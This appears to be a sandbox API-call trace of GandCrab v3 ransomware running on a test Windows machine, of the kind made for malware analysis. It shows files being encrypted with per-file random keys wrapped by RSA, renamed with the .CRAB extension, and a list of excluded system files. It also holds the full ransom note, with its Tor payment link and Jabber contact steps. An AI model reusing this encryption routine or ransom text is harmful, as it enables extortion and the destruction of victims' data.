	[0127.370] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\f80sgz.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\f80sgz.pdf.crab")) returned 1
	[0127.371] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.371] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB"
	[0127.371] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB.CRAB"
	[0127.371] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0127.374] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.374] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.375] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0127.375] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.375] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.375] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0127.380] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.380] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.380] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0127.380] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.380] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.381] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.381] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.381] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0127.384] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f138) returned 1
	[0127.384] CryptGetKeyParam (in: hKey=0x318f138, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.384] CryptEncrypt (in: hKey=0x318f138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0127.384] GetLastError () returned 0x0
	[0127.384] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.384] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0127.387] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318ef38) returned 1
	[0127.387] CryptGetKeyParam (in: hKey=0x318ef38, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.387] CryptEncrypt (in: hKey=0x318ef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0127.388] GetLastError () returned 0x0
	[0127.388] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.388] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\f80sgz.pdf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0127.388] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.388] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.389] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xe1a2, lpOverlapped=0x0) returned 1
	[0127.413] VirtualAlloc (lpAddress=0x0, dwSize=0xe1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.414] VirtualAlloc (lpAddress=0x0, dwSize=0xe1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.417] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.417] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff1e5e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.418] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe1b0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xe1b0, lpOverlapped=0x0) returned 1
	[0127.418] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.418] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.421] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.421] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.422] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0127.422] CloseHandle (hObject=0x3f0) returned 1
	[0127.422] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.422] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.426] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.426] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.426] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.426] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.427] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.427] lstrcmpW (lpString1="htVo", lpString2=".") returned 1
	[0127.427] lstrcmpW (lpString1="htVo", lpString2="..") returned 1
	[0127.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="htVo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo"
	[0127.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\"
	[0127.427] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0127.427] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0127.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0127.427] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0127.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0127.427] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0127.428] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0127.428] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.428] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\\\CRAB-DECRYPT.txt") returned 76
	[0127.428] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0127.429] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0127.429] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0127.429] CloseHandle (hObject=0x3f0) returned 1
	[0127.429] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\") returned 59
	[0127.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\*"
	[0127.430] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x318f178
	[0127.430] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0127.430] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0127.430] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0127.430] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0127.430] FindNextFileW (in: hFindFile=0x318f178, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0127.430] lstrcmpW (lpString1="ArSFxbQ9WQ.rtf", lpString2=".") returned 1
	[0127.430] lstrcmpW (lpString1="ArSFxbQ9WQ.rtf", lpString2="..") returned 1
	[0127.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\", lpString2="ArSFxbQ9WQ.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf"
	[0127.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.430] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf") returned 73
	[0127.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf") returned 73
	[0127.430] lstrlenW (lpString=".rtf") returned 4
	[0127.430] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.430] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0127.430] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf") returned 73
	[0127.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf") returned 73
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="desktop.ini") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="autorun.inf") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="ntuser.dat") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="iconcache.db") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="bootsect.bak") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="boot.ini") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="ntuser.dat.log") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="thumbs.db") returned -1
	[0127.431] lstrcmpiW (lpString1="ArSFxbQ9WQ.rtf", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.431] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.431] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB") returned 78
	[0127.431] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\arsfxbq9wq.rtf")) returned 0x20
	[0127.431] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf", dwFileAttributes=0x20) returned 1
	[0127.431] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\arsfxbq9wq.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\arsfxbq9wq.rtf.crab")) returned 1
	[0127.432] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.432] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB"
	[0127.432] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB.CRAB"
	[0127.432] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0127.434] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.435] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.435] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0127.435] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.435] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.435] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0127.437] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.438] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.438] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0127.438] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0127.438] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.438] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.438] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.439] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0127.441] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318ed38) returned 1
	[0127.441] CryptGetKeyParam (in: hKey=0x318ed38, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0127.441] CryptEncrypt (in: hKey=0x318ed38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0127.441] GetLastError () returned 0x0
	[0127.441] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.441] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0127.443] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318ecf8) returned 1
	[0127.443] CryptGetKeyParam (in: hKey=0x318ecf8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0127.443] CryptEncrypt (in: hKey=0x318ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0127.444] GetLastError () returned 0x0
	[0127.444] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.444] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\ArSFxbQ9WQ.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\arsfxbq9wq.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0127.444] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.444] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.444] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0xd323, lpOverlapped=0x0) returned 1
	[0127.453] VirtualAlloc (lpAddress=0x0, dwSize=0xd330, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.464] VirtualAlloc (lpAddress=0x0, dwSize=0xd330, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.465] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.465] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff2cdd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.465] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xd330, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0xd330, lpOverlapped=0x0) returned 1
	[0127.465] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.466] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.469] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
